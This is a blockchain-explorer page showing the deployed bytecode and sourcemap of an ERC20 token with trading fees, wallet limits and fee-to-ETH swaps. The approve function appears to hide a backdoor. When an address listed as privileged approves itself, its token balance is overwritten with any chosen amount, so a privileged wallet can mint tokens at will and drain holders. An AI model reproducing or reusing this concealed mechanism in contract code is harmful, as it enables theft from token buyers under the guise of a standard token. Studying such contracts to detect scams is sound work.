726f206164647265604482015261737360f01b606482015260840161047e565b816001600160a01b0316836001600160a01b0316148015610a2f57506001600160a01b0382165f9081526003602052604090205460ff165b610a60576001600160a01b038084165f90815260026020908152604080832093861683529290522081905580610a7c565b6001600160a01b0382165f908152600160205260409020819055805b6001600160a01b038481165f818152600260209081526040808320948816808452948252918290209490945551848152919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b445760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161047e565b6001600160a01b038216610ba65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161047e565b5f8111610bf55760405162461bcd60e51b815260206004820152601c60248201527f5472616e7366657220616d6f756e74206d757374206265206774203000000000604482015260640161047e565b5f80546001600160a01b03858116911614801590610c2057505f546001600160a01b03848116911614155b15610ef957610c516064610c4b600b54600e5411610c4057600754610c44565b6009545b8590611219565b9061129e565b60065490915060ff1615610cf8576013546001600160a01b03848116911614801590610c8b57506014546001600160a01b03848116911614155b15610cf857325f908152600560205260409020544311610ce65760405162461bcd60e51b8152602060048201526016602482015275151c985b9cd9995c8811195b185e48195b98589b195960521b604482015260640161047e565b325f9081526005602052604090204390555b6014546001600160a01b038581169116148015610d2357506013546001600160a01b03848116911614155b8015610d4757506001600160a01b0383165f9081526003602052604090205460ff16155b15610e095760105482610d6e856001600160a01b03165f9081526001602052604090205490565b610d78919061168d565b1115610db65760405162461bcd60e51b815260206004820152600d60248201526c19dd081b585e081dd85b1b195d609a1b604482015260640161047e565b600f54821115610df45760405162461bcd60e51b81526020600482015260096024820152680cee840dac2f040e8f60bb1b604482015260640161047e565b600e8054905f610e03836116a0565b91905055505b6014546001600160a01b038481169116148015610e2f57506001600160a01b0384163014155b15610e5c57610e596064610c4b600c54600e5411610e4f57600854610c44565b600a548590611219565b90505b305f90815260016020526040902054601454600160a81b900460ff16158015610e9257506014546001600160a01b038581169116145b8015610ea75750601454600160b01b900460ff165b8015610eb4575060115481115b8015610ec35750600d54600e54115b15610ef757610edc610ed7826012546112df565b61106e565b4766b1a2bc2ec50000811115610ef557610ef5476111de565b505b505b8015610f7157305f90815260016020526040902054610f1890826112f3565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f689085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610f939083611351565b6001600160a01b0385165f90815260016020526040902055610fd6610fb88383611351565b6001600160a01b0385165f90815260016020526040902054906112f3565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61101f8585611351565b60405190815260200160405180910390a350505050565b5f81848411156110595760405162461bcd60e51b815260040161047e91906113be565b505f61106584866116b8565b95945050505050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106110b4576110b46116cb565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561110b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061112f9190611628565b81600181518110611142576111426116cb565b6001600160a01b0392831660209182029290920101526013546111689130911684610934565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906111a09085905f908690309042906004016116df565b5f604051808303815f87803b1580156111b7575f80fd5b505af11580156111c9573d5f803e3d5ffd5b50506014805460ff60a81b1916905550505050565b6006546040516101009091046001600160a01b0316906108fc8315029083905f818181858888f19350505050158015610451573d5f803e3d5ffd5b5f825f0361122857505f610372565b5f61123383856115dc565b905082611240858361174e565b146112975760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161047e565b9392505050565b5f61129783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611392565b5f8183116112ed5782611297565b50919050565b5f806112ff838561168d565b9050838110156112975760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161047e565b5f61129783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611036565b5f81836113b25760405162461bcd60e51b815260040161047e91906113be565b505f611065848661174e565b5f6020808352835180828501525f5b818110156113e9578581018301518582016040015282016113cd565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461141d575f80fd5b50565b5f8060408385031215611431575f80fd5b823561143c81611409565b946020939093013593505050565b5f805f6060848603121561145c575f80fd5b833561146781611409565b9250602084013561147781611409565b929592945050506040919091013590565b5f60208284031215611498575f80fd5b813561129781611409565b5f80604083850312156114b4575f80fd5b82356114bf81611409565b915060208301356114cf81611409565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561152857815f190482111561150e5761150e6114da565b8085161561151b57918102915b93841c93908002906114f3565b509250929050565b5f8261153e57506001610372565b8161154a57505f610372565b8160018114611560576002811461156a57611586565b6001915050610372565b60ff84111561157b5761157b6114da565b50506001821b610372565b5060208310610133831016604e8410600b84101617156115a9575081810a610372565b6115b383836114ee565b805f19048211156115c6576115c66114da565b029392505050565b5f61129760ff841683611530565b8082028115828204841417610372576103726114da565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611638575f80fd5b815161129781611409565b5f805f60608486031215611655575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561167e575f80fd5b81518015158114611297575f80fd5b80820180821115610372576103726114da565b5f600182016116b1576116b16114da565b5060010190565b81810381811115610372576103726114da565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b8181101561172d5784516001600160a01b031683529383019391830191600101611708565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261176857634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220402b950468c600e419117a8de50227784be92d69736d87bd1da8bd2f3c300ec364736f6c63430008140033

Deployed Bytecode Sourcemap

3473:7959:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5396:83;;;;;;;;;;-1:-1:-1;5466:5:0;;;;;;;;;;;-1:-1:-1;;;5466:5:0;;;;5396:83;;;;5466:5;5396:83;:::i;:::-;;;;;;;;6229:161;;;;;;;;;;-1:-1:-1;6229:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6229:161:0;1023:187:1;4671:52:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4671:52:0;1215:177:1;5673:95:0;;;;;;;;;;;;;:::i;6398:313::-;;;;;;;;;;-1:-1:-1;6398:313:0;;;;;:::i;:::-;;:::i;5582:83::-;;;;;;;;;;-1:-1:-1;5582:83:0;;4301:1;2000:36:1;;1988:2;1973:18;5582:83:0;1858:184:1;11077:352:0;;;;;;;;;;;;;:::i;:::-;;5776:119;;;;;;;;;;-1:-1:-1;5776:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5869:18:0;5842:7;5869:18;;;:9;:18;;;;;;;5776:119;2554:148;;;;;;;;;;;;;:::i;10062:196::-;;;;;;;;;;;;;:::i;4486:53::-;;;;;;;;;;;;;;;;2340:79;;;;;;;;;;-1:-1:-1;2378:7:0;2405:6;2340:79;;-1:-1:-1;;;;;2405:6:0;;;2445:51:1;;2433:2;2418:18;2340:79:0;2299:203:1;4546:55:0;;;;;;;;;;;;;;;;5903:167;;;;;;;;;;-1:-1:-1;5903:167:0;;;;;:::i;:::-;;:::i;4608:56::-;;;;;;;;;;;;;;;;3859:39;;;;;;;;;;-1:-1:-1;3859:39:0;;;;;;;;10366:666;;;;;;;;;;;;;:::i;6078:143::-;;;;;;;;;;-1:-1:-1;6078:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6186:18:0;;;6159:7;6186:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6078:143;6229:161;6304:4;6321:39;175:10;6344:7;6353:6;6321:8;:39::i;:::-;-1:-1:-1;6378:4:0;6229:161;;;;;:::o;5673:95::-;5726:7;4356:13;4301:1;4356:2;:13;:::i;:::-;4344:25;;:9;:25;:::i;:::-;5746:14;;5673:95;:::o;6398:313::-;6496:4;6513:36;6523:6;6531:9;6542:6;6513:9;:36::i;:::-;6560:121;6569:6;175:10;6591:89;6629:6;6591:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6591:19:0;;;;;;:11;:19;;;;;;;;175:10;6591:33;;;;;;;;;;:37;:89::i;:::-;6560:8;:121::i;:::-;-1:-1:-1;6699:4:0;6398:313;;;;;:::o;11077:352::-;11141:10;;;;;-1:-1:-1;;;;;11141:10:0;175;-1:-1:-1;;;;;11127:24:0;;11119:33;;;;;;11202:4;11163:20;5869:18;;;:9;:18;;;;;;11222:14;;11219:75;;11252:30;11269:12;11252:16;:30::i;:::-;11323:21;11358:12;;11355:67;;11386:24;11399:10;11386:12;:24::i;:::-;11108:321;;11077:352::o;2554:148::-;2467:6;;-1:-1:-1;;;;;2467:6:0;175:10;2467:22;2459:67;;;;-1:-1:-1;;;2459:67:0;;;;;;;:::i;:::-;;;;;;;;;2661:1:::1;2645:6:::0;;2624:40:::1;::::0;-1:-1:-1;;;;;2645:6:0;;::::1;::::0;2624:40:::1;::::0;2661:1;;2624:40:::1;2692:1;2675:19:::0;;-1:-1:-1;;;;;;2675:19:0::1;::::0;;2554:148::o;10062:196::-;2467:6;;-1:-1:-1;;;;;2467:6:0;175:10;2467:22;2459:67;;;;-1:-1:-1;;;2459:67:0;;;;;;;:::i;:::-;4356:13:::1;4301:1;4356:2;:13;:::i;:::-;4344:25;::::0;:9:::1;:25;:::i;:::-;10115:12;:22:::0;4356:13:::1;4301:1;4356:2;:13;:::i;:::-;4344:25;::::0;:9:::1;:25;:::i;:::-;10148:14;:22:::0;10181:20:::1;:26:::0;;-1:-1:-1;;10181:26:0::1;::::0;;10223:27:::1;4356:13;4301:1;-1:-1:-1::0;4356:13:0::1;:::i;:::-;4344:25;::::0;:9:::1;:25;:::i;:::-;10223:27;::::0;1361:25:1;;;1349:2;1334:18;10223:27:0::1;;;;;;;10062:196::o:0;5903:167::-;5981:4;5998:42;175:10;6022:9;6033:6;5998:9;:42::i;10366:666::-;2467:6;;-1:-1:-1;;;;;2467:6:0;175:10;2467:22;2459:67;;;;-1:-1:-1;;;2459:67:0;;;;;;;:::i;:::-;10430:11:::1;::::0;-1:-1:-1;;;10430:11:0;::::1;;;10429:12;10421:42;;;::::0;-1:-1:-1;;;10421:42:0;;5151:2:1;10421:42:0::1;::::0;::::1;5133:21:1::0;5190:2;5170:18;;;5163:30;-1:-1:-1;;;5209:18:1;;;5202:48;5267:18;;10421:42:0::1;4949:342:1::0;10421:42:0::1;10474:15;:80:::0;;-1:-1:-1;;;;;;10474:80:0::1;10511:42;10474:80:::0;;::::1;::::0;;;10565:58:::1;::::0;10582:4:::1;::::0;4356:13:::1;4301:1;4356:2;:13;:::i;:::-;4344:25;::::0;:9:::1;:25;:::i;10565:58::-;10668:15;;;;;;;;;-1:-1:-1::0;;;;;10668:15:0::1;-1:-1:-1::0;;;;;10668:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10650:55:0::1;;10714:4;10721:15;;;;;;;;;-1:-1:-1::0;;;;;10721:15:0::1;-1:-1:-1::0;;;;;10721:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10650:94;::::0;-1:-1:-1;;;;;;10650:94:0::1;::::0;;;;;;-1:-1:-1;;;;;5782:15:1;;;10650:94:0::1;::::0;::::1;5764:34:1::0;5834:15;;5814:18;;;5807:43;5699:18;;10650:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10634:13;:110:::0;;-1:-1:-1;;;;;10634:110:0;;::::1;-1:-1:-1::0;;;;;;10634:110:0;;::::1;;::::0;;10755:15:::1;::::0;::::1;:31;10794:21;10825:4;10831:24;10825:4:::0;-1:-1:-1;;;;;5869:18:0;5842:7;5869:18;;;:9;:18;;;;;;;5776:119;10831:24:::1;10856:1;10858::::0;10860:7:::1;2378::::0;2405:6;-1:-1:-1;;;;;2405:6:0;;2340:79;10860:7:::1;10755:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10755:129:0;;;-1:-1:-1;;;;;6220:15:1;;;10755:129:0::1;::::0;::::1;6202:34:1::0;6252:18;;;6245:34;;;;6295:18;;;6288:34;;;;6338:18;;;6331:34;6402:15;;;6381:19;;;6374:44;10868:15:0::1;6434:19:1::0;;;6427:35;6136:19;;10755:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;10902:13:0::1;::::0;10933:15:::1;::::0;10895:71:::1;::::0;-1:-1:-1;;;10895:71:0;;-1:-1:-1;;;;;10933:15:0;;::::1;10895:71;::::0;::::1;6958:51:1::0;-1:-1:-1;;7025:18:1;;;7018:34;10902:13:0;::::1;::::0;-1:-1:-1;10895:29:0::1;::::0;6931:18:1;;10895:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;10977:11:0::1;:18:::0;;-1:-1:-1;;;;11006:18:0;-1:-1:-1;;;11006:18:0;;;10366:666::o;6719:435::-;-1:-1:-1;;;;;6812:19:0;;6804:68;;;;-1:-1:-1;;;6804:68:0;;7547:2:1;6804:68:0;;;7529:21:1;7586:2;7566:18;;;7559:30;7625:34;7605:18;;;7598:62;-1:-1:-1;;;7676:18:1;;;7669:34;7720:19;;6804:68:0;7345:400:1;6804:68:0;-1:-1:-1;;;;;6891:21:0;;6883:68;;;;-1:-1:-1;;;6883:68:0;;7952:2:1;6883:68:0;;;7934:21:1;7991:2;7971:18;;;7964:30;8030:34;8010:18;;;8003:62;-1:-1:-1;;;8081:18:1;;;8074:32;8123:19;;6883:68:0;7750:398:1;6883:68:0;7000:7;-1:-1:-1;;;;;6993:14:0;:5;-1:-1:-1;;;;;6993:14:0;;:43;;;;-1:-1:-1;;;;;;7009:27:0;;;;;;:18;:27;;;;;;;;6993:43;6992:106;;-1:-1:-1;;;;;7064:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;:34;;;7092:6;6992:106;;;-1:-1:-1;;;;;7038:18:0;;;;;;:9;:18;;;;;:25;;;7057:6;6992:106;-1:-1:-1;;;;;6962:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:136;;;;7114:32;1361:25:1;;;6962:27:0;;:18;;7114:32;;1334:18:1;7114:32:0;;;;;;;6719:435;;;:::o;7162:2291::-;-1:-1:-1;;;;;7250:18:0;;7242:68;;;;-1:-1:-1;;;7242:68:0;;8355:2:1;7242:68:0;;;8337:21:1;8394:2;8374:18;;;8367:30;8433:34;8413:18;;;8406:62;-1:-1:-1;;;8484:18:1;;;8477:35;8529:19;;7242:68:0;8153:401:1;7242:68:0;-1:-1:-1;;;;;7329:16:0;;7321:64;;;;-1:-1:-1;;;7321:64:0;;8761:2:1;7321:64:0;;;8743:21:1;8800:2;8780:18;;;8773:30;8839:34;8819:18;;;8812:62;-1:-1:-1;;;8890:18:1;;;8883:33;8933:19;;7321:64:0;8559:399:1;7321:64:0;7413:1;7404:6;:10;7396:51;;;;-1:-1:-1;;;7396:51:0;;9165:2:1;7396:51:0;;;9147:21:1;9204:2;9184:18;;;9177:30;9243;9223:18;;;9216:58;9291:18;;7396:51:0;8963:352:1;7396:51:0;7458:17;2405:6;;-1:-1:-1;;;;;7492:15:0;;;2405:6;;7492:15;;;;:32;;-1:-1:-1;2378:7:0;2405:6;-1:-1:-1;;;;;7511:13:0;;;2405:6;;7511:13;;7492:32;7488:1605;;;7553:76;7625:3;7553:67;7575:15;;7565:9;;:25;7564:55;;7605:14;;7564:55;;;7592:12;;7564:55;7553:6;;:10;:67::i;:::-;:71;;:76::i;:::-;7650:20;;7541:88;;-1:-1:-1;7650:20:0;;7646:435;;;7709:15;;-1:-1:-1;;;;;7695:30:0;;;7709:15;;7695:30;;;;:62;;-1:-1:-1;7743:13:0;;-1:-1:-1;;;;;7729:28:0;;;7743:13;;7729:28;;7695:62;7691:375;;;7845:9;7816:39;;;;:28;:39;;;;;;7883:12;-1:-1:-1;7782:187:0;;;;-1:-1:-1;;;7782:187:0;;9522:2:1;7782:187:0;;;9504:21:1;9561:2;9541:18;;;9534:30;-1:-1:-1;;;9580:18:1;;;9573:52;9642:18;;7782:187:0;9320:346:1;7782:187:0;8021:9;7992:39;;;;:28;:39;;;;;8034:12;7992:54;;7691:375;8109:13;;-1:-1:-1;;;;;8101:21:0;;;8109:13;;8101:21;:55;;;;-1:-1:-1;8140:15:0;;-1:-1:-1;;;;;8126:30:0;;;8140:15;;8126:30;;8101:55;:83;;;;-1:-1:-1;;;;;;8162:22:0;;;;;;:18;:22;;;;;;;;8160:24;8101:83;8097:284;;;8240:14;;8230:6;8214:13;8224:2;-1:-1:-1;;;;;5869:18:0;5842:7;5869:18;;;:9;:18;;;;;;;5776:119;8214:13;:22;;;;:::i;:::-;:40;;8206:66;;;;-1:-1:-1;;;8206:66:0;;10003:2:1;8206:66:0;;;9985:21:1;10042:2;10022:18;;;10015:30;-1:-1:-1;;;10061:18:1;;;10054:43;10114:18;;8206:66:0;9801:337:1;8206:66:0;8309:12;;8299:6;:22;;8291:44;;;;-1:-1:-1;;;8291:44:0;;10345:2:1;8291:44:0;;;10327:21:1;10384:1;10364:18;;;10357:29;-1:-1:-1;;;10402:18:1;;;10395:39;10451:18;;8291:44:0;10143:332:1;8291:44:0;8354:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8097:284;8406:13;;-1:-1:-1;;;;;8400:19:0;;;8406:13;;8400:19;:43;;;;-1:-1:-1;;;;;;8423:20:0;;8438:4;8423:20;;8400:43;8397:174;;;8476:79;8551:3;8476:70;8498:16;;8488:9;;:26;8487:58;;8530:15;;8487:58;;;8516:13;;8476:6;;:10;:70::i;:79::-;8464:91;;8397:174;8636:4;8587:28;5869:18;;;:9;:18;;;;;;8662:6;;-1:-1:-1;;;8662:6:0;;;;8661:7;:32;;;;-1:-1:-1;8680:13:0;;-1:-1:-1;;;;;8672:21:0;;;8680:13;;8672:21;8661:32;:47;;;;-1:-1:-1;8697:11:0;;-1:-1:-1;;;8697:11:0;;;;8661:47;:89;;;;;8733:17;;8712:20;:38;8661:89;:121;;;;;8764:18;;8754:9;;:28;8661:121;8657:425;;;8803:55;8820:37;8824:20;8845:11;;8820:3;:37::i;:::-;8803:16;:55::i;:::-;8906:21;8970:17;8949:38;;8946:121;;;9012:35;9025:21;9012:12;:35::i;:::-;8784:298;8657:425;7526:1567;7488:1605;9108:11;;9105:165;;9178:4;9160:24;;;;:9;:24;;;;;;:39;;9189:9;9160:28;:39::i;:::-;9153:4;9135:24;;;;:9;:24;;;;;;;:64;;;;9219:39;;-1:-1:-1;;;;;9219:39:0;;;;;;;9248:9;1361:25:1;;1349:2;1334:18;;1215:177;9219:39:0;;;;;;;;9105:165;-1:-1:-1;;;;;9296:15:0;;;;;;:9;:15;;;;;;:27;;9316:6;9296:19;:27::i;:::-;-1:-1:-1;;;;;9280:15:0;;;;;;:9;:15;;;;;:43;9348:40;9366:21;:6;9377:9;9366:10;:21::i;:::-;-1:-1:-1;;;;;9348:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9334:13:0;;;;;;;:9;:13;;;;;:54;;;;9404:41;;;9423:21;:6;9434:9;9423:10;:21::i;:::-;9404:41;;1361:25:1;;;1349:2;1334:18;9404:41:0;;;;;;;7231:2222;7162:2291;;;:::o;1232:190::-;1318:7;1354:12;1346:6;;;;1338:29;;;;-1:-1:-1;;;1338:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1378:9:0;1390:5;1394:1;1390;:5;:::i;:::-;1378:17;1232:190;-1:-1:-1;;;;;1232:190:0:o;9571:483::-;5005:6;:13;;-1:-1:-1;;;;5005:13:0;-1:-1:-1;;;5005:13:0;;;9673:16:::1;::::0;;9687:1:::1;9673:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9673:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9673:16:0::1;9649:40;;9718:4;9700;9705:1;9700:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9700:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9744:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;9744:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;9700:7;;9744:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9734:4;9739:1;9734:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9734:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9809:15:::1;::::0;9777:62:::1;::::0;9794:4:::1;::::0;9809:15:::1;9827:11:::0;9777:8:::1;:62::i;:::-;9850:15;::::0;:196:::1;::::0;-1:-1:-1;;;9850:196:0;;-1:-1:-1;;;;;9850:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;9931:11;;9850:15:::1;::::0;9973:4;;10000::::1;::::0;10020:15:::1;::::0;9850:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5041:6:0;:14;;-1:-1:-1;;;;5041:14:0;;;-1:-1:-1;;;;9571:483:0:o;10266:92::-;10323:10;;:27;;:10;;;;-1:-1:-1;;;;;10323:10:0;;:27;;;;;;;;;;;;:10;:27;;;;;;;;;;;;;;;;;;;1430:246;1488:7;1512:1;1517;1512:6;1508:47;;-1:-1:-1;1542:1:0;1535:8;;1508:47;1565:9;1577:5;1581:1;1577;:5;:::i;:::-;1565:17;-1:-1:-1;1610:1:0;1601:5;1605:1;1565:17;1601:5;:::i;:::-;:10;1593:56;;;;-1:-1:-1;;;1593:56:0;;12426:2:1;1593:56:0;;;12408:21:1;12465:2;12445:18;;;12438:30;12504:34;12484:18;;;12477:62;-1:-1:-1;;;12555:18:1;;;12548:31;12596:19;;1593:56:0;12224:397:1;1593:56:0;1667:1;1430:246;-1:-1:-1;;;1430:246:0:o;1684:132::-;1742:7;1769:39;1773:1;1776;1769:39;;;;;;;;;;;;;;;;;:3;:39::i;9463:100::-;9520:7;9549:1;9547;:3;9546:9;;9554:1;9546:9;;;-1:-1:-1;9552:1:0;9463:100;-1:-1:-1;9463:100:0:o;901:179::-;959:7;;991:5;995:1;991;:5;:::i;:::-;979:17;;1020:1;1015;:6;;1007:46;;;;-1:-1:-1;;;1007:46:0;;12828:2:1;1007:46:0;;;12810:21:1;12867:2;12847:18;;;12840:30;12906:29;12886:18;;;12879:57;12953:18;;1007:46:0;12626:351:1;1088:136:0;1146:7;1173:43;1177:1;1180;1173:43;;;;;;;;;;;;;;;;;:3;:43::i;1824:189::-;1910:7;1945:12;1938:5;1930:28;;;;-1:-1:-1;;;1930:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1969:9:0;1981:5;1985:1;1981;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:422;3121:1;3164:5;3121:1;3178:270;3199:7;3189:8;3186:21;3178:270;;;3258:4;3254:1;3250:6;3246:17;3240:4;3237:27;3234:53;;;3267:18;;:::i;:::-;3317:7;3307:8;3303:22;3300:55;;;3337:16;;;;3300:55;3416:22;;;;3376:15;;;;3178:270;;;3182:3;3032:422;;;;;:::o;3459:806::-;3508:5;3538:8;3528:80;;-1:-1:-1;3579:1:1;3593:5;;3528:80;3627:4;3617:76;;-1:-1:-1;3664:1:1;3678:5;;3617:76;3709:4;3727:1;3722:59;;;;3795:1;3790:130;;;;3702:218;;3722:59;3752:1;3743:10;;3766:5;;;3790:130;3827:3;3817:8;3814:17;3811:43;;;3834:18;;:::i;:::-;-1:-1:-1;;3890:1:1;3876:16;;3905:5;;3702:218;;4004:2;3994:8;3991:16;3985:3;3979:4;3976:13;3972:36;3966:2;3956:8;3953:16;3948:2;3942:4;3939:12;3935:35;3932:77;3929:159;;;-1:-1:-1;4041:19:1;;;4073:5;;3929:159;4120:34;4145:8;4139:4;4120:34;:::i;:::-;4190:6;4186:1;4182:6;4178:19;4169:7;4166:32;4163:58;;;4201:18;;:::i;:::-;4239:20;;3459:806;-1:-1:-1;;;3459:806:1:o;4270:140::-;4328:5;4357:47;4398:4;4388:8;4384:19;4378:4;4357:47;:::i;4415:168::-;4488:9;;;4519;;4536:15;;;4530:22;;4516:37;4506:71;;4557:18;;:::i;4588:356::-;4790:2;4772:21;;;4809:18;;;4802:30;4868:34;4863:2;4848:18;;4841:62;4935:2;4920:18;;4588:356::o;5296:251::-;5366:6;5419:2;5407:9;5398:7;5394:23;5390:32;5387:52;;;5435:1;5432;5425:12;5387:52;5467:9;5461:16;5486:31;5511:5;5486:31;:::i;6473:306::-;6561:6;6569;6577;6630:2;6618:9;6609:7;6605:23;6601:32;6598:52;;;6646:1;6643;6636:12;6598:52;6675:9;6669:16;6659:26;;6725:2;6714:9;6710:18;6704:25;6694:35;;6769:2;6758:9;6754:18;6748:25;6738:35;;6473:306;;;;;:::o;7063:277::-;7130:6;7183:2;7171:9;7162:7;7158:23;7154:32;7151:52;;;7199:1;7196;7189:12;7151:52;7231:9;7225:16;7284:5;7277:13;7270:21;7263:5;7260:32;7250:60;;7306:1;7303;7296:12;9671:125;9736:9;;;9757:10;;;9754:36;;;9770:18;;:::i;10480:135::-;10519:3;10540:17;;;10537:43;;10560:18;;:::i;:::-;-1:-1:-1;10607:1:1;10596:13;;10480:135::o;10620:128::-;10687:9;;;10708:11;;;10705:37;;;10722:18;;:::i;10885:127::-;10946:10;10941:3;10937:20;10934:1;10927:31;10977:4;10974:1;10967:15;11001:4;10998:1;10991:15;11017:980;11279:4;11327:3;11316:9;11312:19;11358:6;11347:9;11340:25;11384:2;11422:6;11417:2;11406:9;11402:18;11395:34;11465:3;11460:2;11449:9;11445:18;11438:31;11489:6;11524;11518:13;11555:6;11547;11540:22;11593:3;11582:9;11578:19;11571:26;;11632:2;11624:6;11620:15;11606:29;;11653:1;11663:195;11677:6;11674:1;11671:13;11663:195;;;11742:13;;-1:-1:-1;;;;;11738:39:1;11726:52;;11833:15;;;;11798:12;;;;11774:1;11692:9;11663:195;;;-1:-1:-1;;;;;;;11914:32:1;;;;11909:2;11894:18;;11887:60;-1:-1:-1;;;11978:3:1;11963:19;11956:35;11875:3;11017:980;-1:-1:-1;;;11017:980:1:o;12002:217::-;12042:1;12068;12058:132;;12112:10;12107:3;12103:20;12100:1;12093:31;12147:4;12144:1;12137:15;12175:4;12172:1;12165:15;12058:132;-1:-1:-1;12204:9:1;;12002:217::o

Swarm Source

ipfs://402b950468c600e419117a8de50227784be92d69736d87bd1da8bd2f3c300ec3
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

